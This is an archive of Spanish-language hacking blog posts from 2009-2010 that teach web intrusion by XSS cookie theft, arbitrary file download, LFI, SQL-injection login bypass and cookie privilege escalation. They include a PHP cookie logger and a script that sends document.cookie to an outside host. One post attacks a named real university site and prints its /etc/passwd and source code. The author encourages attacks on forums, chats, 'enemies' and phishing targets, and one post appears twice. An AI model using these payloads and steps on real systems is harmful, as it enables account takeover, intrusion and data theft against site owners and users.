Backup Oficial de SeguridadBlanca.Org

Mostrando entradas con la etiqueta pentest. Mostrar todas las entradas
Mostrando entradas con la etiqueta pentest. Mostrar todas las entradas

domingo, 3 de enero de 2010

Procedimiento, Cuando un Xss se vuelve crítico.

Empezando este año con una entrada que creo que les ayudará a ver desde otra perspectiva un xss, en esta ocación les voy a enseñar como explotar un Xss para poder entrar...


Hace un tiempo escribí sobre como se hace para robar cookies con un xss y para los que se orientan con mi blog pues han de creer que yo enseñe robando masomenos con ingeniería social pero nosotros podemos hacer mas que eso... ahora les mostraré lo que podemos hacer...


mm el código que usaremos es el stándar por asi decirlo que tenemos en la otra entrada pero lo vamos a complementar con otras cosas... ahora si, hay muchas maneras de como poder entrar como administrador a una web con un xss o xsrf y la primera es robandole la cookie al administrador o moderador con ingeniería social + un Foro Vulnerable...


Asi como hago yo ustedes cuando quieran ver si una app es vulnerable procuren descargarlo y buscar código con errores, en casi todas las entradas pongo ejemplos de como se ve un código con error, o si quieren busquen el bug en exploit-db y ver si existe un xss o csrf a explotar... ahora si a la acción...


Tenemos nuestro Bug un Perfecto Xss para robar cookies está ubicado en el en el bbcode [img][/img] el problema con esto es que podemos poner cualquier tipo de imagen es decir jpg jpeg gif pero... php? mmm como podemos ver pregunté si se podía php, el php no es un tipo de imagen pero aun así los programadores cometieron ese error ahora a explotarlo, vamos a escribir una entrada, digamos en un foro de "hackers"...


Tema: Nuevo 0day :o
Content:

[img=http://miwebhostingparahackear.com/robocookie.php][/img]

Bueno amigos.................


EOF
------------------------


Listo como vemos acabamos de "ejecutar" nuestro código de robo de cookies y hemos comenzado a robar cookies y lógico lo que esté escrito en el post debe ser convincente luego vamos a ver quienes han caido... no puede ser... tenemos 20 sessiones que nervios... probemos a ver si alguna es del administrador, ahora despues de probar 13 sessiones:

Welcome Admin


Listo ya teniendo la administración podemos subir una shell como theme, etc pero bueno ahora les voy a mostrar otra situación... hace unos días un amigo me comentó de un 0day muy curioso... era en un chat php...


despues de analizar durante mucho rato el chat por que el no me quería decir del bug se me ocurrió ver los headers usando nuestro live http headers, y en el chat dijeron algo chistoso y yo use el emoticon "xD" y en eso vi que en uno de los headers post de los mensajes se veia algo como esto...



<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


cuando lo vi dije no puede ser no creo que ese sea el bug...

cambie


<img src="http://www.webserver.com/chat/files/emoticon10.jpg></img>


por

test123...

y posteo eso intento lo primero con una redirección pero no aceptaba todos los tags entonces probe poner:



<img src="http://www.miwebhackeatodo.com/robo.php></img>


salio una [x] en ves de imagen y mientras escribian en el chat yo me iva sacando todas las cookies... como se dan cuenta hay veces que los errores son pura investigación y curiosidad... lo único que hice fue probar un poco y salio, ustedes también pueden hacer esto...


yo hoy les he enseñando esto con la etiqueta img pero se puede con un iframe, hipervínculo de flash y todo lo que ustedes se imaginen...


espero les sirva este tuto...


Saludos
Dr.White

jueves, 31 de diciembre de 2009

Un Resumen del 2009

Comenzamos un Año de los mas dificiles para todos los ámbitos la crisis afectó a todos el mejor ejemplo es que la foca ya no será gratis...já este año lectores hemos pasado alti bajos juntos y me alegra ver saber como ha crecido poco a poco el blog, dando pasos lentos pero seguros, hemos perdido amigos que empezaron con nosotros, ahora hay uno nuevo pero no queremos irnos para el lado sentimental, les pongo el resumen de este año...

---------------------

Aprendimos a Spoofear User-Agent


Aprendimos sobre el Bluesnarfing


Aprendimos como funcionaba el Remote Code Execution



Aprendamos del Full Path Disclosure



Aprendimos a Configurar un archivo htaccess


Perverthso de CuscoSoft nos enseñó Sql Injection Básica

Jbyte de Jbyte-Security nos lo complementó con Injection a Sql Server


NitroNet Nos enseñó el Remote File Inclusion



Explicando el Path Trasversal



Comenté un poco del Reverse DNS



Ahora el Mass Defacemente



Robando Cookies con un Xss



El Hijacking



Expliqué el Cross Site Tracing


Aprendimos Login Bypass en el ISIL


Encontramos Xss en Tecsup



Nuestra Fanática



Vimos como se hacía Local Files Inclusion por Require()

LFI por uploader


Obtener Archivos del Servidor con Sql Injection



La Explicación de un Login Bypass



Remote Code Execution con Eval



Local File Disclosure



Argument Injection



Mi Exposición del LimaHack



Explique el Session Prediction



Session Fixation



Explique el XSRF



Insecure Permisions



Orientación del PHP al PenTest - CURL()



Insecure Cookie Handling



Nullbyte Poisoning



Sql Injection en ASP Ejempo Real



Descubrí un FPD en FaceBook



Expliqué el Cookie Poisoning



XSRF de Zer-Bits



Arbitrary Download + Full Source Disclosure de Zero-Bits



Espero Este Resumen les haya gustado ahora con mucho gusto y agradecimiento les digo...



Feliz Año Nuevo Que todo Sea bueno para Ustedes en todos los ámbitos, Espero no olviden seguridadblanca en el año que viene y esperamos el próximo año sea mejor para todos....

Happy Hacking =)




Saludos
Dr.White

miércoles, 30 de diciembre de 2009

Arbitary Download+Full Source Disclosure

Full Source Disclosure.



0x01. Introducción



En DDLR ya algunos habrán leído mi tutorial sobre “Full Path Disclosure”, bueno, ahora les vengo hablar un poco de otra vulnerabilidad llamada “Full Source Disclosure” que ha estado un poco polémico en #DDLR, gracias al video de 0o_Zeus_o0 muy bueno la verdad y el post de Gothic-x también excelente.

Esta vulnerabilidad ya la había leído un poco antes, pero bueno, les hare un tuto, viendo que muchos les intereso este tema.



0x02. ¿Qué es Arbitrary Downloader y Full Source Disclosure o FSD?




Arbitrary Downloader para descargar cualquier archivo del servidor junto con Full Source Disclosure que ve el CODIGO COMPLETO es una vulnerabilidad MUY vista por así decirlo todavía en la RED, y se encarga de descargar cualquier fichero del servidor sin estar logeado o tener permiso alguno, y con esto podemos ver el CODIGO FUENTE (SOURCE) de este para sacar mucha información, pero no es lo mismo darle al index.php “VER CODIGO FUENTE” en tu navegador, que con verla en esta vulnerabilidad, ya que este muestra el código ORIGINAL del servidor.



Esta vulnerabilidad se debe a la mala programación de las variables especiales para descargar un archivo interno, permitiéndonos descargar cualquier archivo del servidor sin estar logeado o tener permisos como dije arriba.



Gracias al DORK creado por Gothic-x podrán encontrar muchos websites vulnerables y también encontré uno para explicar en este tutorial.





0x03. Practica




La web que usaremos de ejemplo seria esta: “http://www.favaloro.edu.ar”, el site de un medico argentino (Gracias KikoArg).




Primero me paso a descargar el “index” para que vean la diferencia entre “SOURCE DISCLOSURE” y “VER CODIGO FUENTE DESDE EL NAVEGADOR”:



FULL SOURCE DISCLOSURE:

Pasamos hacer que el servidor nos descargue el index principal que sería:

http://www.favaloro.edu.ar/force-download.php?file=index.php



Lo descargamos y lo abrimos con nuestro editor:







VER CODIGO FUENTE:








No sale completo como pueden ver en la barra, pero igual pueden notar que es diferente muy diferente, por eso se le llama “FULL SOURCE”

Esta simple vulnerabilidad puede llegar a ser muy muy peligrosa, ya que podemos descargar “CUALQUIERRR” fichero del servidor, pero claro, poniendo el directorio hasta el fichero:



http://localhost/descargas.php?file=config.php

http://localhost/descargas.php?file=/admin/datos.php

Ya queda de tu conocimiento de un servidor o para sacar datos, podemos usarlo si es que el servidor es vulnerable otra vulnerabilidad llamada “FULL PATH DISCLOSURE”, entre otras cosas.

Como vimos en el código fuente del “index.php” desde FULL SOURCE DISCLOSURE, podemos ver otros directorios donde podemos acceder y sacar muchas cosas como:




inc/principal.php:



<? require_once('cnx/cnx.php');
$principal = "SELECT * FROM novedades WHERE (PortadaNovedades = 2) OR (PortadaNovedades = 3)
ORDER BY OrdenNovedades ASC LIMIT 0,5";
$principal2 = mysql_query($principal,$link);
?>
<div id="content">
<div id="novedades">
<div id="carrera">
<div class="principal-foto">
<p class="quote-it"><img src="images/favaloro3.jpg" align="left" />
&quot;A los j&oacute;venes les pido que entiendan que lo material es temporario, lo que perdurar&aacute;
para siempre ser&aacute;n los ideales y entre ellos la gran convocatoria deber&iacute;a ser:
educaci&oacute;n y desarrollo cient&iacute;fico en busca de una sociedad en la que la equidad social sea lo prioritario&quot;.</p>

<p class="allign-right"> Dr. Ren&eacute; G. Favaloro, Tel Aviv, Israel, 1995<br />
Fotografia: Miguel Angel Generoso</p>
</div>
<div class="nov-box"> <h1></h1>

<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
<script type="text/javascript">
AC_FL_RunContent( 'codebase','http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0','width','645','height','140','src','images/banner_general_645x140-1009','quality','high','pluginspage','http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash','movie','images/banner_general_645x140-1009' ); //end AC code
</script><noscript><object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,28,0" width="645" height="140">
<param name="movie" value="images/banner_general_645x140-1009.swf">
<param name="quality" value="high">
<embed src="images/banner_general_645x140-1009.swf" quality="high" pluginspage="http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" width="645" height="140"></embed>

</object>
</noscript></div>
<?
while($principal3 = mysql_fetch_array($principal2)) {
echo "<div class=\"nov-box\">";
echo "<h1>".$principal3['TitulosNovedades']."</h1>";
echo "<p>".$principal3['CopeteNovedades']."</p>";
echo "<div class=\"nov-foot\"><a href=\"";
if ($principal3['LinkNovedades']=="") {
echo "?inc=novedades&IDNovedades=".$principal3['IDNovedades'];
} else {
echo $principal3['LinkNovedades'];
}
echo "\">mas informaci&oacute;n</a></div>";echo "</div>";
}?>

</div></div></div>




Algunos se preguntaran si sirven otros archivos como “/etc/passwd”, pues si, ejemplo:



http://www.favaloro.edu.ar/force-download.php?file=/etc/passwd



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
admin:x:1000:1000:,,,:/home/admin:/bin/bash
identd:x:100:65534::/var/run/identd:/bin/false
sshd:x:101:65534::/var/run/sshd:/usr/sbin/nologin
telnetd:x:102:102::/nonexistent:/bin/false
mysql:x:1002:100::/home/mysql:/bin/bash
ftp:x:103:65534::/home/ftp:/bin/false
alias:x:1003:1002::/var/qmail/alias:/sbin/nologin
qmaild:x:1004:1002::/var/qmail:/sbin/nologin
qmaill:x:1005:1002::/var/qmail:/sbin/nologin
qmailp:x:1006:1002::/var/qmail:/sbin/nologin
qmailq:x:1007:1003::/var/qmail:/sbin/nologin
qmailr:x:1008:1003::/var/qmail:/sbin/nologin
qmails:x:1009:1003::/var/qmail:/sbin/nologin
vpopmail:x:1010:1004::/home/vpopmail:/sbin/nologin
bind:x:104:101::/var/cache/bind:/bin/false
favaloro:x:1014:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar:/bin/bash
fundacion:x:1015:100::/usr/local/apache2/htdocs/www.fundacionfavaloro.org:/bin/bash
posgrado:x:1016:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar/posgrado:/bin/bash
webmaster:x:1017:100::/usr/local/apache2/htdocs/:/bin/bash
gmj:x:1001:100::/home/gmj:/bin/bash
gaston:x:1018:0:GASTON:/home/gaston:/bin/bash
itfurf:x:1019:1006::/usr/local/apache2/htdocs/it.furf.com.ar/:/bin/bash
furf:x:1020:1007::/usr/local/apache2/htdocs/www.furf.com.ar:/bin/bash
hobbit:x:1021:1008::/usr/local/hobbit/:
backupfurf:x:1012:1012:,,,:/backup:/bin/bash
pricai:x:1013:1013:,,,:/usr/local/apache2/htdocs/pricai.com.ar:/bin/bash
ns1:x:1024:100::/home/ns1:
cei:x:1026:1026:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/COMUNICA:/bin/bash
congreso:x:1027:1027:,,,:/usr/local/apache2/htdocs/congresos.fundacionfavaloro.org:/bin/bash
cye:x:1025:1025:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/cye:/bin/bash
proftpd:x:105:65534::/var/run/proftpd:/bin/false
favaloroftp:x:1029:1029:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/ftp:/bin/bash
ffavaloroftp:x:1030:1030:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/ftp:/bin/bash
favaloro2:x:1031:50::/usr/local/apache2/htdocs/www2.favaloro.edu.ar:/bin/bash
ossec:x:1034:1034::/var/ossec:/bin/false
trimestral:x:1035:1035:,,,:/backup/trimestral:/bin/bash
campanas:x:1036:100::/usr/local/apache2/htdocs/www.favaloro.edu.ar/campanas:/bin/bash
dev:x:1022:1022:,,,:/usr/local/apache2/htdocs/dev.favaloro.edu.ar:/bin/bash
cuidatucorazon:x:1011:1011:,,,:/usr/local/apache2/htdocs/www.fundacionfavaloro.org/cuidatucorazon:/bin/bash
elvestuario:x:1023:1023:,,,:/usr/local/apache2/htdocs/www.favaloro.edu.ar/elvestuario:/bin/bash




Y muchas cosas más…




0x04. ¿Dónde está el Bug?



Bueno, no sigo mas, ya que no hay mucho que hablar, pero es bueno para los programadores y pentesters donde está el bug, pasaremos a descargar un archivo interesante: http://www.favaloro.edu.ar/force-download.php?file=force-download.php



<?php

$filename = $_GET['file'];

// required for IE, otherwise Content-disposition is ignored
if(ini_get('zlib.output_compression'))
ini_set('zlib.output_compression', 'Off');

// addition by Jorg Weske
$file_extension = strtolower(substr(strrchr($filename,"."),1));

if( $filename == "" )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: download file NOT SPECIFIED. USE force-download.php?file=filepath</body></html>";
exit;
} elseif ( ! file_exists( $filename ) )
{
echo "<html><title>eLouai's Download Script</title><body>ERROR: File not found. USE force-download.php?file=filepath</body></html>";
exit;
};
switch( $file_extension )
{
case "pdf": $ctype="application/pdf"; break;
case "exe": $ctype="application/octet-stream"; break;
case "zip": $ctype="application/zip"; break;
case "doc": $ctype="application/msword"; break;
case "xls": $ctype="application/vnd.ms-excel"; break;
case "ppt": $ctype="application/vnd.ms-powerpoint"; break;
case "gif": $ctype="image/gif"; break;
case "png": $ctype="image/png"; break;
case "jpeg":
case "jpg": $ctype="image/jpg"; break;
default: $ctype="application/force-download";
}
header("Pragma: public"); // required
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Cache-Control: private",false); // required for certain browsers
header("Content-Type: $ctype");
// change, added quotes to allow spaces in filenames, by Rajkumar Singh
header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
header("Content-Transfer-Encoding: binary");
header("Content-Length: ".filesize($filename));
readfile("$filename");
exit();

?>





Pueden notar que el archivo, no tiene validación protección “$filename = $_GET['file'];” y permite la descarga de cualquier archivo que se le ponga.





0x05. Conclusión




Bueno termine mi tuto, de esta vulnerabilidad no hay mucho que hablar, pero es bueno un tutorial, para los que no tienen idea de esto y puedan ver la FUERZA de esta vulnerabilidad tan peligrosa y buena, ya que es muy fácil y no es necesario hacer algo especial como otros métodos.



Si quieren saber mas de este método, pueden buscar en google y también los links que voy a dejar abajo.



0x06. Links interesantes


Video de 0o_ZeuS_o0 sobre esta vulnerabilidad (En el tutorial dice “FULL PATH DISCLOSURE”, pero es “FULL SOURCE” un error de escritura jeje).

http://www.youtube.com/watch?v=3c-pojLunmY&feature=player_embedded



Explotando Full Source Diclosure Bugueando "force-download.php" de Gothic-x.

http://gothicx.diosdelared.com/?coment=3762



Màs de Full Source Diclosure de Gothic-x.

http://gothicx.diosdelared.com/?coment=3759



Ilegalintrusion - #DDLR - #RE - GH - Seguridadblanca




Autor: Zero Bits

Fecha: 15/11/09

sábado, 26 de diciembre de 2009

Explotando Bugs en webs Básico

Muchos creen que para entrar a una web necesitasmos LAS TOOLS mas INCREIBLES del mundo pero realmente no necesitamos mucho, ahora les voy a describir una pequeña previa de como es el Dr.White en particular antes de atacar intentar ganar acceso a una web (WEB no ganar acceso a host ni vps ganar acceso a la web o explotar un bug...)


Lo primero...

Lo primero que hago es dejar la PC a un lado y voy a cojer un vaso con agua bien helada para que fluyan las ideas con claridad...


lo Segundo...

Esta etapa es la previa a comenzar el ataque... vamos a abrir un bloc de ntoas que nos ordenará lo que busquemos... primero vamos a buscar todos los links que hayan en el index y buscaremos todos los links posibles... ahora todos los links que no contengan variables los pondremos dentro del bloc de notas... de esta forma:


Links sin Variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/admin.php

http://www.practicingtuintrusion.com/sitemap.php

http://www.practicingtuintrusion.com/textos/



Ahora haremos lo mismo con las que si tengan variables...

nuestro bloc de notas deberia quedar algo asi:


links sin variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/index.php

http://www.practicingtuintrusion.com/search.php

http://www.practicingtuintrusion.com/textos/

Links con variables

http://www.practicingtuintrusion.com/img/gallery/images.php?id=10

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip


Ahora si ya tenemos todo un poco ordenado en primera lo que haremos será buscar formularios entre ellos cajas de texto... en lugares que no sea la administración... /admin/...

en nuestra busqueda hemos encontrado un textbox con un boton en:


http://www.practicingtuintrusion.com/search.php


cuando en el textbox ponemos seguridad nos pone algo como esto:


http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user


podemos analizar que hay dos variables... entonces lo pasamos a la lista de las webs con variables como última en la lista ahora si a analizar las variables...


http://www.practicingtuintrusion.com/img/gallery/images.php?id=10


vamos a ver si es vulnerable a algún ataque... provamos poniendo script alert hola pero no paso nada entonces decimos a sisi una sql injection ya que al parecer algo no deja explotar el xss entonces vamos y ponemos una comilla simple despues del 10

y bien nos voto un error de sql, ahora ustedes pueden revisar la etiqueta pentest u otras segun lo que busquen para encontrar un tutorial de como explotar...

ahora el siguiente link...

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad


lo primero que haremos será probar si es vulnerable a xss con un simple alert y probamos... y si si es vulneable... nosotros pusimos alert('hola') y nos mostro un msgbox con el contenido hola... ahora ya pueden buscar la etiqueta Xss y ver todo lo que pueden explotar...

ahora vamos a ver el tercer link:

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip

ese uno de los mas peligrosillos... vamos a ver si es vulnerable a File Disclosure...

hay que poner otro archivo a ver si lo descarga...

http://www.practicingtuintrusion.com/downloads/index.php?archivo=index.php

lo descargó... ahora si ya tenemos el index podemos ver a que cosa le hace requiere o requiere once para descargar archivos que nos sirvan para explotar mejor este bug...

ahora el último...

http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user

veamos... vamos a dejar la variable privi de lado... busquemos a ver que podemos hacer con seguridad y despues de un rato de buscar hemos dado con que poniendo text=index.php nos muestra un index.php eso se parece a un LFI entonces pongamos ../etc/passwd% 00 a ver que pasa... no pasa nada mmm pongamos entonces doble ../ ahora si nos muestra todo el passwd ya tenemos como explotar un LFI... ahora la variable privi vemos que dice user mmm yo creo que solo nos muestran los resultados que son para los users comunnes pero como somos curiosos pondremos privi=admin a ver que pasa y los resultados pasaron de ser 50 a 100 por dios ya tenemos mas que estudiar...


ahora el panel de administracion:


vamos a ver que nos da para poner usuario y contraseña...

vamos a probar con una simple sql injection para bypassear login...

'or''='

y vemos que no nos da el acceso entonces decimos... esto fue todo? mm no podemos buscar por donde sacar algo... y vemos que cuando nos ponemos privi=admin la cookie cambia entonces con el live http headers nos pondremos como cookie la que nos daba cuando estabamos en privi=admin... y hemos entrado por un error de privilegios que también está explicado en el blog en la etiqueta pentest... ahora esto es una especie de taxonimía muy básica...


espero a provechen este tipo de enseñansa para que ustedes también usen algo de lo que les enseñé hoy...


Saludos
Dr.White

Explotando Bugs en webs Básico

Muchos creen que para entrar a una web necesitasmos LAS TOOLS mas INCREIBLES del mundo pero realmente no necesitamos mucho, ahora les voy a describir una pequeña previa de como es el Dr.White en particular antes de atacar intentar ganar acceso a una web (WEB no ganar acceso a host ni vps ganar acceso a la web o explotar un bug...)


Lo primero...

Lo primero que hago es dejar la PC a un lado y voy a cojer un vaso con agua bien helada para que fluyan las ideas con claridad...


lo Segundo...

Esta etapa es la previa a comenzar el ataque... vamos a abrir un bloc de ntoas que nos ordenará lo que busquemos... primero vamos a buscar todos los links que hayan en el index y buscaremos todos los links posibles... ahora todos los links que no contengan variables los pondremos dentro del bloc de notas... de esta forma:


Links sin Variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/admin.php

http://www.practicingtuintrusion.com/sitemap.php

http://www.practicingtuintrusion.com/textos/



Ahora haremos lo mismo con las que si tengan variables...

nuestro bloc de notas deberia quedar algo asi:


links sin variables:

http://www.practicingtuintrusion.com/img/gallery/images.php

http://www.practicingtuintrusion.com/admin/index.php

http://www.practicingtuintrusion.com/search.php

http://www.practicingtuintrusion.com/textos/

Links con variables

http://www.practicingtuintrusion.com/img/gallery/images.php?id=10

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip


Ahora si ya tenemos todo un poco ordenado en primera lo que haremos será buscar formularios entre ellos cajas de texto... en lugares que no sea la administración... /admin/...

en nuestra busqueda hemos encontrado un textbox con un boton en:


http://www.practicingtuintrusion.com/search.php


cuando en el textbox ponemos seguridad nos pone algo como esto:


http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user


podemos analizar que hay dos variables... entonces lo pasamos a la lista de las webs con variables como última en la lista ahora si a analizar las variables...


http://www.practicingtuintrusion.com/img/gallery/images.php?id=10


vamos a ver si es vulnerable a algún ataque... provamos poniendo script alert hola pero no paso nada entonces decimos a sisi una sql injection ya que al parecer algo no deja explotar el xss entonces vamos y ponemos una comilla simple despues del 10

y bien nos voto un error de sql, ahora ustedes pueden revisar la etiqueta pentest u otras segun lo que busquen para encontrar un tutorial de como explotar...

ahora el siguiente link...

http://www.practicingtuintrusion.com/textos/index.php?topic=seguridad


lo primero que haremos será probar si es vulnerable a xss con un simple alert y probamos... y si si es vulneable... nosotros pusimos alert('hola') y nos mostro un msgbox con el contenido hola... ahora ya pueden buscar la etiqueta Xss y ver todo lo que pueden explotar...

ahora vamos a ver el tercer link:

http://www.practicingtuintrusion.com/downloads/index.php?archivo=packlenguaje.zip

ese uno de los mas peligrosillos... vamos a ver si es vulnerable a File Disclosure...

hay que poner otro archivo a ver si lo descarga...

http://www.practicingtuintrusion.com/downloads/index.php?archivo=index.php

lo descargó... ahora si ya tenemos el index podemos ver a que cosa le hace requiere o requiere once para descargar archivos que nos sirvan para explotar mejor este bug...

ahora el último...

http://www.practicingtuintrusion.com/search.php?text=seguridad&privi=user

veamos... vamos a dejar la variable privi de lado... busquemos a ver que podemos hacer con seguridad y despues de un rato de buscar hemos dado con que poniendo text=index.php nos muestra un index.php eso se parece a un LFI entonces pongamos ../etc/passwd% 00 a ver que pasa... no pasa nada mmm pongamos entonces doble ../ ahora si nos muestra todo el passwd ya tenemos como explotar un LFI... ahora la variable privi vemos que dice user mmm yo creo que solo nos muestran los resultados que son para los users comunnes pero como somos curiosos pondremos privi=admin a ver que pasa y los resultados pasaron de ser 50 a 100 por dios ya tenemos mas que estudiar...


ahora el panel de administracion:


vamos a ver que nos da para poner usuario y contraseña...

vamos a probar con una simple sql injection para bypassear login...

'or''='

y vemos que no nos da el acceso entonces decimos... esto fue todo? mm no podemos buscar por donde sacar algo... y vemos que cuando nos ponemos privi=admin la cookie cambia entonces con el live http headers nos pondremos como cookie la que nos daba cuando estabamos en privi=admin... y hemos entrado por un error de privilegios que también está explicado en el blog en la etiqueta pentest... ahora esto es una especie de taxonimía muy básica...


espero a provechen este tipo de enseñansa para que ustedes también usen algo de lo que les enseñé hoy...


Saludos
Dr.White

miércoles, 23 de diciembre de 2009

[Tutorial] Vulnerabilidad CSRF By ShadinessDark [Colaboracion de Zero Bits]

Este tutorial fue hecho por un AMIGO en cual colabore y aca se los dejo:


Inicio Tutorial Cross Site Request Forgery By ShadinessDark = Zero Bits




1.) Presentación



2.) Que es CSRF



3.) Quien descubrió la vulnerabilidad CSRF




4.) CSRF y Xss



5) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



6.) Testeando vulnerabilidad CSRF y programas el code vulnerable



7.) Sacando una conclusión a todo



8.) Como cuidar nuestra Web de este tipo de ataques




9.) Despedida





1.) Presentación



Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial

Para dar la diferencia de otros tutoriales que he visto en la red…



¿Por qué diferente?



Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados




¿A que se debe este tutorial?



Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo

No es mi culpa que un Web Master no me haga caso ¿Verdad?



Los saludos más especiales para mis compañeros:



Zero Bits

KuTer

Jeferx


Darki113r

_84kur10_

Z1z30f

Kozmic.Kizz




2.) Que es CSRF



Bueno como muchos quizás han leído en la wikipedia ya csrf representa a

Cross Site Request Forgery el ataque se efectúa cuando por ejemplo Vemos algo

Así Presiona este link para que te lleve a mi sitio


Siempre el atacante usa como victima a un usuario que le brinda confianza la Web.

Los que tenemos foros sabemos que cada usuario tiene como destino un perfil donde

Cambiamos contraseña – email – nombre de usuario y otras cositas casi siempre el Atacante usa un código malicioso para hacer una petición en {GET – Post – HTTP}

Con esta vulnerabilidad el atacante le puede cambiar a la victima su información de PERFIL.



3.) Quien descubrió la vulnerabilidad CSRF



En el 1988 Hardy Norma publico un documento que explique una solicitud cuestión nivel de confianza que llamo un

Diputado confuso. En 2000, un correo a bugtraq explico Zope fue afectado por un problema confuso

Web diputado que se define hoy como una vulnerabilidad CSRF mas tarde en el 2001 Peter Watkins publico una entrada


En la lista de correo bugtraq acuñar el termino CSRF en respuesta a otro hilo titulado

Los peligros de permitir a los usuarios colocar imágenes en los sitios Web.



Bueno sobre quien lo descubrio ese credito si no me toca a mi esa parte es de Aqui solo lo logre traducir...



4.) CSRF y Xss



Quizás muchas personas nos preguntamos o se preguntan si esta vulnerabilidad

Es parecida o igual a xss.




Les explico bueno xss se aprovecha de la confianza de la victima que tiene el sitio

Web o aplicación el usuario lea ae contenido que aparece en su navegador que esta destinada y representada por el sitio Web que se esta viendo.



El csrf se aprovecha de la confianza que el sitio tiene para la victima ósea usuario…



4.1) Robo de Cookies en XSS & CSRF (Diferencia) - Colaboracion de Zero Bits



Bueno hay un metodo en XSS que algunos amigos me han dicho que se parece a el XSRF o CSRF, que son el ROBO DE COOKIES EN XSS y el CSRF, la verdad es que no ya que, el robo de cookies por xss como su nombre lo indica roba las cookies de cualquier usuario o administrador del sitio y el CSRF se encarga de ROBAR, VER y CAMBIAR cualquier informacion dependiendo de la victima que caiga.




Vamos a ver un ROBO DE COOKIES EN XSS y un ataque CSRF clasico, para que vean un poco la diferencia...



- ROBO DE COOKIES EN XSS



Primero tendriamos que saber si el server es vulnerable a XSS o tambien podriamos probar que el code

[code ][url ] o [img ] [/code ]

no filtre bien el contenido que se le asigne.



Para algunos que no entienden lo de [code ][url ] y [img ][/code ] es cuando dentro del [code ][url ][/code ] agregariamos un link como [code ]"javascript:alert("xss")"[/code ] y cuando se le de click se ejecute hay mismo, tambien podriamos agregar XSS con codes HEXADECIMALES (ya esto es otro tema, asi que no lo explicare).



Bueno, en otro servidor aparte (que seria el nuestro) codeariamos un programa en PHP que se encargue de recibir al usuario victima y robarle las cookies apenas entre (Para esto se necesita saber por lo menos PHP BASICO)




<?
$cookie = $_REQUEST[cookie];
$file=fopen("cookies.txt", "a");
fput($file, "$cookie\n");
fclose($file);
?>




PD: Este code no es mio es de Chebyte. Pero esto es basico...



Bueno, le explicare el code para quienes no lo entiendan:



$cookie = $_REQUEST[cookie] : El que recibe la cookie

$file=fopen("cookies.txt", "a") : Crea el archivo cookies.txt para lectura

fput($file, "$cookie\n") : Muestra la cookie


fclose($file) : Cierra



Podriamos guardarlo "robador.php" y ahora faltaria el code que redireccione a este CODE:



<script>self.location='e);"target=" _blank">http://TuWeb.com/robador.php?c='+scape(document.cookie)</script>




Y Tachan! tienes la cookie...



Bueno antes que nada les dire lo SCRIPT KIDDIE y BUENO de este metodo:




1. SCRIPT KIDDIE: Usar este metodo contra webs de Hacking

2. NO-LAMMER: Usar contra sites malos como: Porno, Pedofilia, Estafadores, Enemigos, EMOS!!!, etc..

3. SCRIPT KIDDIE: Aprender este metodo unicamente sin saber como funciona

4. NO-LAMMER: Aprender JAVASCRIPT, HTML y PHP

5. MEDIO: Usarla para Phishing [Es malo y es bueno xD, pero no es lammer]

5. SCRIPT KIDDIE: Hacking MSN -.-"



Ahora pasaremos a hablar del CSRF clasico:




- XSRF/CSRF Clasico



